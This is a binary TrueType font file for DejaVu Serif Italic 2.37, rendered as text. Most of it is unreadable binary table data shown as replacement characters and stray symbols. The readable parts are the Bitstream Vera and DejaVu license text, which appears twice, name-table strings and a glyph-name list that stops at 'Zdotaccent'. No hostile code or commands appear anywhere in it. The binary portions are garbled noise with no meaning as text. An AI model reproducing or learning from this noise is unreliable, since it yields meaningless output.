������8"�jkV��mh��mh�#[G`��;�L����������	�]51����1����#�ZQ�����	����	������j{VV`�He�yHe�y��{	}`�H��j���T'b)�����	��������U����U�������D���D�L�E���W�k�i�k�i���	�]5���������'����'��j�V�j�f�j�f/{0�;����;����;���/���L���������]5���	�����{�9��s{�}��s��)s��e}������9.u���n��@{d�C�.�HZT�d��`���V�d�jE�92���U������y�Fu�8�� ������=�������������S��^-��p�����A���<;V'[y�8���g1�����~B��'�
�p�'��$M��p����ey$O����R���2�7���c����g���������9���{@���e���oH3���<����-����g���!�2��������������;g:�[���I���������X�Wr�~�Y�V�a�`�8����h���~�}���@����q��{2�Su)�������P�9�I���������E5+M�����K�b��������2�n�\���{f������m��A�������X��9��U��V{'-f-^-d�\����m����km��[Ocj>���M�t7��7?��1�����B��m���������������
��������He������&��X��)��h��hk!C�d����\=?�.U+Vg6�:3%3@@@m��@3@f/�%�/1/@�@@@3%�%1#X�/��������t&�F
���A�[1#�����t����F
�����e�����#@X���������g%�(�(��m����$�R1S�<�V���������N�����j����==���e���H1���4���1���YYO�]�����C�����Z�
�c�C��V��W��Vj{Uj��(j��(j��(j��(j�������W���W���V���P���V������drH���'a���'b���'a���'a���'a)�^��)��������S����S����SP���/P���/P����KP����1����1����1������'���'���'���'��j�V�j�V�j�V�j�Vb��Xb��X�������M���M���x{;{;{;{;+{;V`7pV`7pV_7V`7����'~��'G��'O��'���'��h�L�h�M9��s9��s9��s9��r9��r��{���{�He������7�����7�����7��'a7p�r���:C�������������7�c�C�c�C�c�D�c�D�c�D�c�D�c�C�c�D�c�D�c�D�c�D�c�C���W���V���V���W���W���W���W���V)���b)���4�j�V�i�U�j�V�j�V�j�V�j�V�i�U�e�S�e�S�e�S�e�S�e�S��'���'���'���'���'���'���'�He���He���He���He�������UgVgVgVgVgVgVgVgV�c�c�t���{���c�cK4K4K4K4K4K4�x���t��xG������������������x��	�t	��	Fx	v�����#�#�#_#h#�#�#�#�+x��t��ox�������V�V�V�V�V�V�j���t	�x����������������������Z����G�G�G�G�G�G�G�G����?	t	��x������gVgVK4K4����#�#��V�V�����G�GgVgVgVgVgVgVgVgV�c�c�t���{���c�c�����������������x��	�t	��	Fx	v������G�G�G�G�G�G�G�G����?	t	��x������gVgVgVgVgVgVgV�c�c�c�c�c���n�����������K�3���P�����n#�#�#�#�#�#�)��)�����n������������������HeHe^�.�R���o�G�G�G�G�G������������V����J�JMMM�����o�8���o%8�l���3�3��V���
��
����)����)��3�3g8J�!V���������V��!��!���dN�5/�A555#5V559�9�9��f���>[5/5^55555#5V559�9�9��f���+@@�@vF�%�L�/>[3%��%����u�����>4�Vj������a�'b'c��������r����<���3auxu�{����^�^
�^�^��^����^��^���V�^)��p���������hh
Sh�h�����{��{
�{P��jj��1���gg�gg�MM	�M2Mg�	��T{V(��	�^j��	�^/{=��/�L���u���L���-���.�L�u�r�N�L���u���L�n�L���u�����L�u�L�u�L�L�`����������F�Z����u�����F�F�	���u�u�	���L�Z�L�L����u����F�F�L�L�u�L���u���L���.�����.�L�u�L�u�����L���u���u�u�L���u���������������u�������u�Z�u�L�u�L�L�u�L�L�u�L�	#hW|W|�3�3��������^5^5���������]p�����===j�����T������������+/�/	u/��������������������������D�D�����������������������������������������������������������������������������������?�������?�����������������+�+*��xZ
�������������������+���5��������<�<����<�<������������������������������������������������������������������������������������������������������������������������������<�<������x��x�x��������x�x��������x�x����������������������������������������h������h����������'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'''''��'q'��''��'��'��'��'��''��'����������������������l�l�����g�g�'''''''''''''''''�p��p�r�p�p�p�p�p�p�p�p�p7p7�T��������p�p''''�3����������'''�p���������p�p�p�p'''��������',�,�,�,�,�,�������,�,S,�,�,,�,C,�,X,�,B,�,X,����,x,��������u	�����������e��DuxLxuxLxLxuxLxLxuxLxuxu���������u��������u��������u��������u��������u��������u��������u������������������������������������������������������������������������u��������u��������u��������u��������u��������u��������u��������u������������������������������������������������������������������������u�u�L�u�L�u�L�u�����T�T�L�u�L�u�n�n�����n�n�n�n�n�u�n�u�n�L�t�L�u�.�.�-�����.����-���������L�,�.�F�V�W��r�h�e�r�(�G���L�L�L�u�L�u�L���F�F�����F�	�F���u�u�����u�u�����F�u�����F�u�����F���u���F�F�F�F�F�F�u�u�����u�u�u�L�u�u�L�L�u�u�L�L�Z�@�����/+/+/��������/���/�L�L�������/���/�L���u�u�L�L��������''''��P�����b������'c����U���7��BZ1	�qB��MJ	
��q��@��I���fm���9{b���/�_��C�
q�x�x��+x�k�+x�w)x���x)x)a�x����'x+x)x2������sai��R���(�,x�xP�JB���:����J�{jE)�#����P	���]	���Tk�f�A������Q�Q�Q�Q�Q�Q�Q�Q�Q�Q�Q�l�=4��	���	��{#c@���	��c�E	�c�E	2�OwE��cEE��cE=���E/{=����UK�y�t�����Tk�f����[�b�fPz�U�b'f�b�fm{i7!3�/�������ue���7�����b�1��)��	��cP��g���g��[�����JgRg
$���<�]g���2
{x:������������)����,�"�4i����(��f��H@h��gg������;��n�,H'��������V��V�������S4��c��jj�������dr���)��5�����P��1�����jb���{��{;V`���h9���{He����DW{V(�W���H�g{���T�T��'��VX���7p'��M�s����7����{���c����������������j)������c1��������j���b���j���V`He�r��{�����3gV������7K4Ve���f#�?����3[��hF�VB�����{�vhm����o��F�G#h{W�h���tF�.�G�e�m��C���=�z�p���D���n�;��A����4���V��V���������4,���xcxXx�xcxcxXxXx7xcx7xqx7x6x6x6xlx�x�x�x6���������������flc��h���7�JAJB'�������������O
�7��9�k:��;��<���&��:�$7��$9��$:��$<��$I��$W��$Y��$Z��$\��$���$���$���$&��$'��$:��$���$���$��$��%&%&&%*&%2&%<��%�&%�&%�&%�&%�&%�&%�&%���%�&%�&%�&%&%:��&��&��'��'&'��'9��(&)��)��)��)��)��)$�N)D�u)H��)R��)��N)��N)��N)��N)��N)��u)��u)��u)��u)��u)��u)��u)���)���)���)���)���)���)���)���)���)���)��)��*��*&*��*<��*���*:��-��-�a-��-��.�k.$��.&��.2��.8��.:��.<��.H��.R��.X��.\�}.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.��}.��}.��.��.��.��.��.0��.1��.:��/7�Y/8��/9�
/:�N/<�}/\��/���/���/���/���/��}/���/���/&�Y/0��/:�}/��/��1�}1�}1��1��2��2K2��29��2;��3�a3��3�a3��3��3$�D38��3D��3H��3R��3V��3��D3��D3��D3��D3��D3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3��3��3!��3#��30��4��4K4��4�&4�&57��59��5:��5<��5D/5\��5���5�/5�/5�/5�/5�/5�/5�/5�&5���5���5&��5:��5���5���6��6K6��66��6 ��6"��7��7��7��7��7��7$��77&7D�a7F�a7H�a7R�a7V�k7Z��7���7���7���7���7���7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7��a7�a7�a7�a7�a7!�k7#�k7&&8�D8��8�D8��8��8$��8-��8���8���8���8���8���9��9�D9��9�29�29$�u92��9D�D9H�D9L��9R�D9X�}9\��9��u9��u9��u9��u9��u9���9���9���9���9���9���9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��}9��}9��}9��}9���9���9�D9��9�D91�}9�K9�K:��:�k:��:�N:�N:$��:D�N:H�Y:L��:R�u:U��:X��:\��:���:���:���:���:���:��N:��N:��N:��N:��N:��N:��u:��Y:��Y:��Y:��Y:��u:��u:��u:��u:��u:��u:���:���:���:���:���:���:�Y:�u:��:��:1��:�&:�&;��;$��;&��;2��;���;���;���;���;���;���;���;���;���;���;���;���;��;��;��<��<�<��<�<�<$�a<&��<D�a<H�N<L��<R�N<X�N<��a<��a<��a<��a<��a<���<��a<��a<��a<��a<��a<��a<��<<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��<��<�N<�)<1�N=��=��I��I��I��I��I�&I��N��R��U�U�Y�
Y�
Z�
Z�
[��\��\���7���9���:���<���I���W���Y���Z���\���������������&���'���:�����������������7���9���:���<���I���W���Y���Z���\���������������&���'���:�����������������7���9���:���<���I���W���Y���Z���\���������������&���'���:�����������������7���9���:���<���I���W���Y���Z���\���������������&���'���:�����������������7���9���:���<���I���W���Y���Z���\���������������&���'���:�����������������&�������&�&�&�&����K����$���9���<���������������������������:����}��}����������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;����D�����D�������$���-������������������������D�����D�������$���-������������������������D�����D�������$���-������������������������D�����D�������$���-�����������������������������������$�a�&���D�a�H�N�L���R�N�X�N���a���a���a���a���a�������a���a���a���a���a���a���<���N���N���N���N���N���N���N���N���N���N���N���N���N���N��������N��)�1�N����&����������������������������������������������������������&����9���&����&����<�������:���7�Y�8���9�
�:�N�<�}�\���������������������}���������&�Y�0���:�}�������7�Y�8���9�
�:�N�<�}�\���������������������}���������&�Y�0���:�}������O�7�Y8��9�
:�N<�2\����������������2������&�Y0��:�2����	�}	�}	��	��&7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:����������7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������� �� K �� 6��  �� "��"��"K"��"6��" ��""��&��&��&��&��&��&$��&7&&D�a&F�a&H�a&R�a&V�k&Z��&���&���&���&���&���&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&�a&�a&�a&�a&!�k&#�k&&&0�D0��0�D0��0��0$��0-��0���0���0���0���0���7��7��7Dn7FU7Ga7HV7I�7Ja7L�7M�7P}7Q}7RU7S�7Ta7U}7V�7W�7X�7Y�7Z�7[�7\�7]�77:��:�:��:�:�:$�a:&��:D�a:H�N:L��:R�N:X�N:��a:��a:��a:��a:��a:���:��a:��a:��a:��a:��a:��a:��<:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��:��:�N:�):1�N?��?��}$��}-/}���}���}���}���}���}��7��9�k:��;��<���&��:��$���-/������������������������$���-/�99�:9�;9�<9��������������������������9�:9�7���9���:���;9�<���Y���Z�������&���:����k�$���&���2���8���:���<���H���R���X���\�}�������������������������������������������������������������������������������������������������������������������������������}���}����������������0���1���:�����,,,,l��d<X��0d����T��|�<���		D	�	�	�

tp�@�

d
�,��d��H�(�H�p�l��$Dp���H�@�@�T�����p�p�P�\�  l �!h!�!�"X"X"�# #�$ $�$�%�&&�'�'�(())()|)�**�*�+ +d+�+�,,l,�,�,�--�-�-�-�-�..�//0/H/`/x/�/�/�/�/�0d0|0�0�0�0�0�181�1�22 282P2�3h3�3�3�3�3�3�4�4�4�55505H5`5x5�606H6`6x6�6�6�77�7�7�7�88$8�8�8�8�99 989P9h9�9�9�9�9�9�::(:@:P:�;;;4;L;d;|;�;�;�;�;�<<$<<<T<l<�<�<�<�=P=�=�=�>>(>@>X>p>�>�>�>�>�??(?@?X?�?�?�?�@@ @8@P@h@�@�AA,ADA\AtA�A�B(B�B�B�B�CC,CDC�D�D�D�D�D�EE E8EPEhE�E�E�E�E�E�FF(F@F�GGG4GLGdG|G�G�G�G�G�HH$H<HTHlH�H�H�H�H�H�II,I�J(J�J�KtK�LHL�MdNNN�N�O�P(P�QQ�RR�SHS�TlT�T�UpU�V(V�WTW�X X�X�X�Y�Z,Z�[L[�\�]],]�^L^�_,_�_�_�`T`�a@a�bb�c0c�d(d�e$e�ff�f�ggglg�g�g�g�g�hh(h@hXhph�h�h�h�h�iii0iHi`ixi�i�i�i�i�jjj0jHj`jxj�k k�k�k�ll$l<lTlll�l�l�l�l�l�mm,mDm�n<nTnloo�ppp0pHp`pxp�p�p�p�p�qq q8qPqhq�q�q�q�q�q�rr(r@rXrpr�r�r�r�r�sls�tt$t�uLu�vTv�v�www4wLwdw|w�w�w�w�w�xx$x<x�yLy�zz�{�||�}@}�}�~�(����������`�������8���0���8�����h�������|���`����T�(������D���,������@�X�����8����������T���h���$���<����l���<����`���`����$���@�����|���t��� �����H���$����x���<���h���t�����@�x�$����������D���������H���$���P���L�����x���X��������@�l�����\������D�l������������$�8�d�����������,�d����x�����d���$�d������H�t˜¬�����0�D�X�lÀÔèü������T�h�|Đİ�����L�x����,�@�T�|Ơ����H�pǔ����� �`�tȈ�����,�L�t�������H�\�pʄʘ�L�h˄ˤ����$�T̴���T�p͔̀̀���(�8�HΈ������Lψϸ��������4�L�d�tАЬ�������,�<�LфѰ�����҈ҘҨ�����tӄ����� �0�@��ո�L�d�|֔֬������״�Pؼ�X��p��0�l���Dܨ�ݜݬ���d���@߈���t������� �8�P��H���D�`�x������`��@��������x����h�x��� ��������D��� �8�P�h���4����������������@�P����������8���8�P���$�4�D�T���������4�����H���������x�����0�@���d��x�L�����D���������D� �� �		�


4
�
�4DTdt�

(
@
X
p�L�`�x�dt�,���4��$t�(����\�4�<�,��� $ < T �!l!|!�","�"�#�#�$�$�%�%�&&&(&@&�'|'�(t(�)P)�)�)�)�)�)�***4*D*T*l*�*�*�*�*�*�+++4+L+d+|+�+�+�+�+�+�,,,,D,\,t,�,�,�,�--�-�-�-�.x//�0(0�0�0�0�0�1�2(2�3D3�4p4�5`6@6�7P7�8,8�9X9�:�;(;�<T= =�>H>�?@?�@�A4A�B,B�CPD8D�EDFF�G<GLG|G�G�HH�H�I0I�J$J�KK�K�L$L�MhM�NN�O@O�PP�QPRR�R�S�T0T�UU�VpV�WXW�XhX�YhY�ZHZ�[0\\d\�\�]�^l__�```�a0a�b�cc�dTeXe�f�g�h,h�i\jkk�ltl�m`nn�ohp<p�q�rLs,s�t,uutu�v�whx8yzL{|$}P~<~���X�4�����4������������������t���\�L��H���t�������������|�H�������X�����T�������P����h�����(�|���p�<�����,��������0���,�����D�����h����X�����H�����������D����h�����D�|���(�x���X���,�l����������l���x���t�0��Ĕ���4���\���8�tǰ�0Ȑ���H��� ʐ�$ˌ� ��̈́ͬ͘�������l΀Δ�H����DД�<Ѹ�hҼ�d���d�Ր��d���T׬����X���(�|ٴ�t�ۜ�$�p���|�0ް�<߸�L���X���D��$�������L����������,�D�\�t����������4�L�d�|����������$�<�T�l����������,�D�\�t����������4�L�d�|����������$�<�T�l����������,�D�\�t���������$�<�T�l����������,�D�\�t����������4�L�d�|����������$�<�T�l����������,�D�\�t����������4�L�d�|����������$�<�T�l����������,��$���������4�L�d�|������������4�L�d�|������������4�L�d�|������������$�<�T�l������������$�<�T�l��������������,�D�d��������������,�D�\�t�������������4�L�d�|������������$�<�T�l�����,�D�\�t�������������8�P�h������������(@\x�����(@Xp�����(@\x����� 8Tp�����(@Xp����� 8Ph������,D`x����� 8Pl�����0@Xh�������		 	8	P	h	�	�	�	�	�	�

(
@
X
p
�
�
�
�
�0H`x����� 8Ph������

(
@
X
p
�
�
�
�
�0H`x����4Ld|�����8Ph������4D`x�����0H`x������(@Xp������<<<<<<<<<<<<<<<<<Xh�����4`��P��8���\���������<Xp���(���<t���4dx��\�������������� D �!!�!�"l##<#X#�#�#�$\$p$�$�$�$�$�$�$�%%$%8%L%`%t%�%�%�%�%�%�&&&(&<&P&d&x&�'$'�(�)T*(*�++�,,�,�,�,�-D..�.�/0/@/P/�0 0D0l0�1t1�1�1�2 2@2`2�2�2�2�33 3@3`3�3�3�3�44X4�4�55x5�6h6x6�7|7�7�7�7�7�7�888,8D8d8�8�8�8�8�8�999,9�:d;p;�<8<�<�<�=,=\=�=�> >T>�>�>�?@?�?�@\@�@�A<A�A�B B\B�B�CC`C�C�DXD�EXE�FF8FpF�F�GGPG�HH@H\H�I<IdI�I�I�I�J JDJlJ�J�J�J�J�KK0KLKhK�LHL�L�M$M`M�M�NLN�N�O$OlO�O�PPP�QQ`Q�RRPR�R�SS\S�S�T(T�T�U@U�VV|V�WW`W�XTXpX�Y(YpY�Z(Z�Z�[0[l[�\\�\�] ]P]|]�^l^�_`_�_�`@`\`�`�`�aLa�a�a�b�b�ctdd dDd`d�d�ee0eXe�e�flf�f�f�g8g�g�h0hth�i@i�j4j�kklk�l<l�l�l�m,mxm�nHn�oolo�pDp�p�qq4qhq�q�r`r�s�t,t�uHu�vpv�w4wlw�xx0xXx�x�x�x�y(y\y�y�z z�z�{L{�{�{�||0|T|x|�|�}�~~d~�~�������8�p��������8�\���������H�������,�`�|��������$�@�t����� �X�����,�P�t��������(�L�l����������8�\��������,�\��������,�X��������,�X��������,�T�x������� �L�x������8�l������@�x������P��������<�h��������<�p�������(�T��������D�x����� �`������8�h�����4������� �P�p�������� �<�X�t����������D�X�t�����������8�T�p����������������\�p������������,�P�d�|�������<�T����H���X��4�`�|��������D�`����������0�\�x��������4�P�|��������,�`���4�h�����|�8�t���$�����D������� �����@�l�������8�|���������,�X��������\������\������������D�l��������$�L�<���h�(���Ę�Ō��l���d��x��ɐ���x�@˔�����(̈́���HΘ���xϤ�Ѐм����\Ѱ�(Ҡ�pӠ����TԐ���$�`ը���t�tֈָ֜������(�<�X�tט״����(�<�X�tؘش����(�D�hٌٸ����4�h�|ژڴ������<�hۄۨ�����H�tܨ������8�\݈ݴ����8�dޘ����,�h�|ߘߴ������<�h�������H�t�������8�\������8�d�����,�h�������H�t�����$�X�����(�L�x�����8�l�����<�x����$�h�|��������<�h�������H�t�������8�\������8�d�����,�h�������H�t�����$�X�����(�L�x�����8�l�����<�x����$�h����������H�t�������$�X�������(�L�x������8�l������<�x�����$�h��������D�x������H�|�����(�d������<�x����$h��X��h�<��l�T��$h��(p���	 	�	�
X
�X��`��
4
�
�h�X�8�\���4�p��<��0��@�l�|�(�� | ���0`���$T���Dt��  8 h � � �!,!H!d!�!�!�""P"�"�"�# #T#p#�#�$$x$�%H%�&4&�&�'0'�((h(�))p)�)�*D*�*�++,+�+�,$,x,�--4-d-�-�..4.t.�.�/$/\/�/�/�00@0p0�0�11�22`2�3h3�4�4�5�5�6�77�7�8l8�949�9�::�;<;�<< <`=@=�>>�??�@@�AA�A�BDB�CLC�D<D�EE�E�FpGG�H,H�H�I@I�JJ|KK�K�LdL�M<M�M�NxO O�O�O�PP(PLP�P�P�P�QQQ�R|R�SlS�TTTHTxT�T�T�U$UPU|U�U�U�VV@VhV�V�V�W0WxW�XXxYY�Z\Z�[<[�\4\�] ]�^0^�_�`D`�ala�bPb�c�dd�d�d�ele�ffLf�gxhdiiTi�i�jPj�j�kk�k�ll|l�l�mm$m�n$n�o o�p8p�p�qHq|q�r�s�t�u�v�w�yz z�{�}l~X��������h�h���L������������<����������$�������,�`���(�8�����h���8�x�D���0������������������������������������������������\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�h�����`��������8�l��������@���������t������|�t����������0�L�h������������,�H�d��������������8�x���H�t���P������������L���(���P�
�	+�@>_�:U���!X�
	��4� 9 T	�	 	G	&\	&�	�	$�	"4	:j	
&�	h�	 	 FCopyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SerifDejaVu SerifItalicItalicDejaVu Serif ItalicDejaVu Serif ItalicDejaVu Serif ItalicDejaVu Serif ItalicVersion 2.37Version 2.37DejaVuSerif-ItalicDejaVuSerif-ItalicDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SerifDejaVu SerifItalicItalic���~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDE�FGHIJKLMNOPQRSTUVWXYZ[�\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	�























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
